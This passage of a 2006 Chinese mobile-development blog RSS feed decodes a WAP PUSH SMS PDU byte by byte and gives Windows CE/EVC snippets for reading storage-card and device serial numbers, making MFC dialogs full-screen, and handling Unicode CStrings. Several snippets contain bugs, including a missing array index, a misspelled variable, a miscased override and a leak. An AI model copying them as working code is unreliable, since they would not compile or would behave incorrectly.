<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>　　用PDU 模式发送 WAP PUSH可以使用三种编码: 7-bit 编码、8-bit 编码和UCS2 编码。7-bit 编码用于发送普通的ASCII 字符，8-bit 编码通常用于发送数据消息，UCS2 编码用于发送Unicode 字符。由于要实现中文WAP PUSH的发送,所以选择用UCS2 编码,即中文Unicode 码。 <BR><BR>　　⑴ UCS2 编码原理 所谓UCS2 编码，是将单个的字符(1-2 个字节)按ISO/IEC10646 的规定，转变为16 位 的Unicode 宽字符。即将单个的字符转换为由四位的‘0’-‘9’、‘A’-‘F’的数字和字 母组成的字符串。待发送的消息以UCS2 码的形式进行发送。 <BR><BR>　　⑵ 通过UCS2 编码我们得到中文Unicode 码，接着就可以进行发送PDU 串的编制了。从表面上看，PDU 串是ASCII 码串，同样由‘0’-‘9’、‘A’-‘F’这些数字和字母组成。它们是8 位字节的十六进制数，或者BCD 码十进制数。PDU 串除了包含所发送的消息本身外，还包含很多其它参数信息，如服务中心号码、目标号码和编码方式等 <BR><BR>例如 <BR><BR>0051000BA13108086406F600F5A7850B05040B8423F_ <BR><BR>0000303010129060603AE81EA8DCA02056A0045C6080C033231312e_ <BR><BR>3133362e3135332e33302f776170707573682f70757368496e6465782e_ <BR><BR>6a73703f7075736849643d3035303531313134313630353231000103E8A_ <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>FB7E782B9E587BBE4BBA5E4B88BE993BEE68EA5E88EB7E58F96E5BDA9E4BFA1E58685E5AEB9000101_ <BR><BR>　　为一串可以成功发送的WAP PUSH，其中包括了汉字描述和WAP页面地址。具体分析如下 <BR><BR>00 SMSC 地址信息的长度 00表示用手机上设置短信中心号码，PDU 串的“SMSC 址格式”段和“SMSC 地址”段将省去 <BR><BR>51 基本参数(TP-MTI/VFP) 不要求发送回复 <BR><BR>00 消息基准值(TP-MR) <BR><BR>0B 对方电话的长度 <BR><BR>A1 目标地址格式 A1表示为国内格式 <BR><BR>3108086406F6 目标地址，补‘F’凑成偶数位后奇偶位互换 <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>00 协议标识(TP-PID) 是普通GSM 类型，点到点方式 <BR><BR>F5 用户信息编码方式 (TP-DCS) <BR><BR>A7 有效期(TP-VP) <BR><BR>85 用户信息长度(TP-UDL) <BR><BR>0B WAP PUSH头部的总长度 <BR><BR>05040B8423F0表示接下来是一个WAP PUSH <BR><BR>00 表示是Concatenated Short Messages <BR><BR>03 长度 <BR><BR>03 reference number <BR><BR>01 表示分成1个短信发送 <BR><BR>01 当前包的序号 <BR><BR>29060603AE81EA8DCA WSP <BR><BR>02 标记位 <BR><BR>05 -//WAPFORUM//DTD SI 1.0//EN <BR><BR>6A UTF-8 <BR><BR>00 标记开始 <BR><BR>45 <BR><BR>C6 <BR><BR>08 <BR><BR>0C href=\"http:// <BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV><BR>03 字符串开始 <BR><BR>3231312e3133362e3135332e33302f776170707573682f <BR><BR>70757368496e6465782e6a73703f7075736849643d3035303531313134313630353231 URL <BR><BR>00 URL 字符串结束 <BR><BR>01 &gt; <BR><BR>
<DIV style="VISIBILITY: hidden; OVERFLOW: hidden; WIDTH: 1px; COLOR: #f4fbff; HEIGHT: 1px">JAVA手机网[www.cnjm.net]</DIV>03 内容描述字符串开始 <BR><BR>E8AFB7E782B9E587BBE4BBA5E4B88BE993BEE68EA＿ <BR><BR>5E88EB7E58F96E5BDA9E4BFA1E58685E5AEB9 内容描述字符串 <BR><BR>00 内容描述字符串结束 <BR><BR>01 <BR><BR>01 <BR><BR>由以上分析可以看出，WAP PUSH可以被当作一种特殊的短信来发送，WAP PUSH包发送的内容实际上跟通过PPG网关发送的XML原理相同，但是经过了压缩。压缩之后的格式称为WBXML，这种格式将一些标记用代码来表示。然而WBXML的缩略标记分为两部分，一部分是所有类型的XML都通用的，另一部分是不同类型的XML有着不同的解释。 <BR><BR>用户接收到此类信息时，在客户端手机支持WAP的情况下，可以直接访问到信息中加载的WAP网站地址，这样服务器也达到了推广业务方便用户使用的目的。由于在UCS2 编码方式下，可发送短消息的最大字符数是140字节，即WAP PUSH中的推送URL与描述文字的总字符数为140，因此描述文字的字数限制与推送的URL长度有关。 <BR><BR>4 结束语 <BR><BR>WAP PUSH技术结合了PUSH技术的优势和移动通信服务的特性，具有良好的应用前景。但是WAP PUSH技术仍然存在着一些亟待解决的问题，如信息的鉴权与认证、信息的准确性、如何避免垃圾信息等。如何解决好这些问题将是WAP PUSH技术成功的关键。另外，随着GPRS技术和3G无线通信技术的发展，无线信道的带宽将逐步增大，WAP PUSH也将能进一步推送多媒体信息,有着更宽广的应用前景。<BR>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=299</link>
			<title><![CDATA[获得存储卡ID的代码]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Sat,17 Jun 2006 20:03:15 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=299</guid>	
		<description><![CDATA[<SPAN style="FONT-SIZE: 12px">主要也是使用IoCtl函数：<BR>unsigned char* GetStroageID(LPCTSTR szDisk)<BR>{<BR>&nbsp; &nbsp; &nbsp; &nbsp; //HANDLE hDisk = CreateFile(_T("DSK1:"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); <BR>&nbsp; &nbsp; &nbsp; &nbsp; HANDLE hDisk = CreateFile(szDisk, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); <BR>&nbsp; &nbsp; &nbsp; &nbsp; if (!hDisk) return FALSE;<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; PSTORAGE_IDENTIFICATION pStoreInfo = (PSTORAGE_IDENTIFICATION) new BYTE[3000];<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; DWORD dwBytesRet;<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; if (!DeviceIoControl(hDisk, IOCTL_DISK_GET_STORAGEID, NULL, 0, pStoreInfo, 3000, &dwBytesRet, NULL))<BR>&nbsp; &nbsp; &nbsp; &nbsp; {<BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; DWORD err = GetLastError(); <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; delete [] pStoreInfo; <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; CloseHandle(hDisk); <BR>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return FALSE; <BR>&nbsp; &nbsp; &nbsp; &nbsp; }<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; BYTE *ManuID = (((BYTE *)pStoreInfo) + pStoreInfo-&gt;dwManufactureIDOffset); <BR>&nbsp; &nbsp; &nbsp; &nbsp; BYTE *SerialNo = (((BYTE *)pStoreInfo) + pStoreInfo-&gt;dwSerialNumOffset);<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; return SerialNo;<BR>}</SPAN>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=298</link>
			<title><![CDATA[取得PPC2003设备机身设备序号的EVC程序和代码]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Sat,17 Jun 2006 19:57:12 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=298</guid>	
		<description><![CDATA[<SPAN style="FONT-SIZE: 12px">主要是使用KernelIOControl这个函数<BR>CString GetSerialNumberFromKernelIoControl()<BR>{<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;DWORD dwOutBytes;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;const int nBuffSize = 4096;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;byte arrOutBuff[nBuffSize];<BR><BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;BOOL bRes = ::KernelIoControl(IOCTL_HAL_GET_DEVICEID, <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; 0, 0, arrOutBuff, nBuffSize, &dwOutBytes);<BR><BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;if (bRes) <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; CString strDeviceInfo;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; for (unsigned int i = 0; i&lt;dwOutBytes; i++) <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; {<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;CString strNextChar;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strNextChar.Format(TEXT("%02X"), arrOutBuff);<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strDeviceInfo += strNextChar;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; }<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; CString strDeviceId = <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strDeviceInfo.Mid(40,2) + <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strDeviceInfo.Mid(45,9) + <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;strDeviceInfo.Mid(70,6);<BR><BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; return strDeviceId;<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;} <BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;else<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;{<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp; return _T("");<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp;&nbsp;}<BR>}</SPAN>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=297</link>
			<title><![CDATA[MFC PocketPC应用程序全屏方法]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Sat,17 Jun 2006 18:44:05 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=297</guid>	
		<description><![CDATA[<SPAN style="FONT-SIZE: 12px">基于对话框的MFC PocketPC应用程序全屏方法<BR><BR>1.需要将整个窗口向上平移26个像素以到达屏幕顶部，同时使用SHFullScreen()函数隐藏任务栏；<BR><BR>&nbsp;&nbsp;在OnInitDialog()函数中添加如下语句：<BR>&nbsp;&nbsp;RECT rc;<BR>&nbsp;&nbsp;GetWindowRect(&rc);<BR>&nbsp;&nbsp;rc.top-=26;<BR>&nbsp;&nbsp;MoveWindow(rc.left,rc.top,rc.right,rc.bottom,FALSE); //上移26像素<BR>&nbsp;&nbsp;SHFullScreen(this-&gt;m_hWnd,SHFS_HIDETASKBAR); //隐藏任务栏<BR><BR>2.防止使用Input Panel时任务栏出现；<BR>&nbsp;&nbsp;<BR>&nbsp;&nbsp;说明，依据MSDN，在Input Panel活动时会发送WM_SETTING_CHANGE和WM_ACTIVATE两个消息。需要手工接管两个消息的处理保持全屏。<BR>&nbsp;&nbsp;MFC类中，CDialog类由CWnd类直接派生，所以这里可以直接手工添加函数。<BR><BR>&nbsp;&nbsp;在主程序的对话框类*Dlg.h头文件中这个位置，加入这两项(声明这两个函数)：<BR>&nbsp;&nbsp;// Implementation<BR>&nbsp; &nbsp;protected:<BR>&nbsp; &nbsp; &nbsp; &nbsp; HICON m_hIcon;<BR><BR>&nbsp; &nbsp; &nbsp; &nbsp; // Generated message map functions<BR>&nbsp; &nbsp; &nbsp; &nbsp; //{{AFX_MSG(CFullScreenDialogDlg)<BR>&nbsp; &nbsp; &nbsp; &nbsp; virtual BOOL OnInitDialog();<BR>&nbsp; &nbsp; &nbsp; &nbsp; virtual void OnSettingChange();&nbsp;&nbsp;=====================================&gt;1<BR>&nbsp; &nbsp; &nbsp; &nbsp; afx_msg void OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized);&nbsp;&nbsp;=========&gt;2<BR>&nbsp; &nbsp; &nbsp; &nbsp; //}}AFX_MSG<BR>&nbsp; &nbsp; &nbsp; &nbsp; DECLARE_MESSAGE_MAP()<BR>&nbsp; &nbsp;<BR>&nbsp;&nbsp;在主程序的对话框类*Dlg.cpp实现文件中做如下修改:<BR>&nbsp;&nbsp;(1)在消息映射处加入<BR>&nbsp;&nbsp;BEGIN_MESSAGE_MAP(CFullScreenDialogDlg, CDialog)<BR>&nbsp; &nbsp; &nbsp; &nbsp; //{{AFX_MSG_MAP(CFullScreenDialogDlg)<BR>&nbsp; &nbsp; &nbsp; &nbsp; ON_WM_SETTINGCHANGE()&nbsp;&nbsp;========================================&gt;1<BR>&nbsp; &nbsp; &nbsp; &nbsp; ON_WM_ACTIVATE()&nbsp;&nbsp;============================================&gt;2<BR>&nbsp; &nbsp; &nbsp; &nbsp; //}}AFX_MSG_MAP<BR>&nbsp;&nbsp;END_MESSAGE_MAP()<BR><BR>&nbsp;&nbsp;手工添加这两个函数:<BR>&nbsp;&nbsp;void CFullScreenDialogDlg::OnSettingChange()<BR>&nbsp;&nbsp;{<BR>&nbsp;&nbsp;}<BR><BR>&nbsp;&nbsp;void CFullScreenDialogDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized) <BR>&nbsp;&nbsp;{<BR>&nbsp; &nbsp; &nbsp; &nbsp; CWnd::OnActivate(nState, pWndOther, bMinimized);&nbsp;&nbsp;//注意这里从CWnd继承&nbsp; &nbsp; &nbsp; &nbsp; <BR>&nbsp; &nbsp; &nbsp; &nbsp; SHFullScreen( this-&gt;m_hWnd, SHFS_HIDETASKBAR);<BR>&nbsp;&nbsp;}<BR><BR>经过这样的修改,无论是使用Input Panel,还是热键运行其他程序后返回,都能够保持全屏。<BR><BR>附加：<BR>&nbsp; &nbsp; 如果有开发者希望屏蔽按下Esc和Enter键的退出，还需要添加这个PreTranslateMessage函数<BR><BR>&nbsp; &nbsp; BOOL CFullScreenDialogDlg::preTranslateMessage(MSG* pMsg)<BR>&nbsp; &nbsp; {<BR>&nbsp; &nbsp;&nbsp; &nbsp; if(pMsg-&gt;message==WM_KEYDOWN)<BR>&nbsp; &nbsp;&nbsp; &nbsp; {<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;if(pMSg-&gt;wParam==VK_RETURN) return TRUE; //回车键<BR>&nbsp; &nbsp;&nbsp; &nbsp;&nbsp; &nbsp;if(pMsg-&gt;wParam==VK_ESCAPE) return TRUE;<BR>&nbsp; &nbsp;&nbsp; &nbsp; }<BR>&nbsp; &nbsp;&nbsp; &nbsp; return CDialog::preTranslateMessage(pMsg);<BR>&nbsp; &nbsp; }</SPAN>]]></description>
		</item>
		
			<item>
			<link>http://www.openx.cn/default.asp?id=294</link>
			<title><![CDATA[about CString of EVC]]></title>
			<author>cxty@qq.com(cxty)</author>
			<category><![CDATA[移动开发]]></category>
			<pubDate>Wed,14 Jun 2006 17:39:36 +0800</pubDate>
			<guid>http://www.openx.cn/default.asp?id=294</guid>	
		<description><![CDATA[<SPAN class=unnamed3><FONT face=宋体>EVC在某种意义上说，相当于VC的一个子集。因为大多EVC有的功能，VC也具备，而VC有的功能，EVC则不一定拥有。在VC中，操作字符串很方便，因为WINDOWS的字处理能力实在是很强大，它支持多种字符集。我们随便使用一个CString str=“你好”，就要以输入我们想要的中文字符串。在EVC中这种情况有所改变，因为WINCE的字处理能力不够强大，它在处理汉字里统一将它示为UNICODE编码，所以我们在EVC中片理中文字符串时需要用到UNICODE编码。下面结合WINDOWS 下VC字符串的处理，对比一下EVC中文字符串的片理方法。<BR><BR>一、中文字符串定义<BR>1、在VC中我们如果定义一个中文字符串，可以使用CString str=“你好”或LPCTSTR&nbsp; str=“你好”。<BR>2、在EVC中我们如果想定义一个中文字符串，可以使用如下方法：CString str=_T(“你好”)或者LPCTSTR&nbsp; str=“你好”，这里LPCTSTR在EVC里就是表示UNICODE字符串。值得注意的是_T（）宏中，括号中只能填写常量，不能填定变量。<BR>二、字符串操作<BR>1、在VC中我们想拷贝字符串，可以作如下操作：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;char s[20];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CString str=“你好”;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcpy(s,str);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在EVC中则不能这样做，首先定义中文数组应该用双字节指针wchar_t，而拷贝函数也不能用strcpy，而应该用：wchar_t * wcscpy(wchar_t * wDest,wchar_t wSource);函数，操作如下：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wchar_t s[20];<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CString str=“你好”;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; wcscpy(s,(LPCTSTR)str); //前面没有转成UNICODE编码，所以这里需要强制转换<BR>2、在VC中我们想在一个字符串中查找某个子串，只需要作下面的操作：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CString str=“你是一个好学生”；<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str.Find(“学生”);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在EVC中不能这样做，因为中文字符串为UNICODE编码，我们必需在查找函数的参数里作如下修改：<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str.Find(_T(“学生”));</FONT><BR></SPAN>]]></description>
		</item>
		
</channel>
</rss>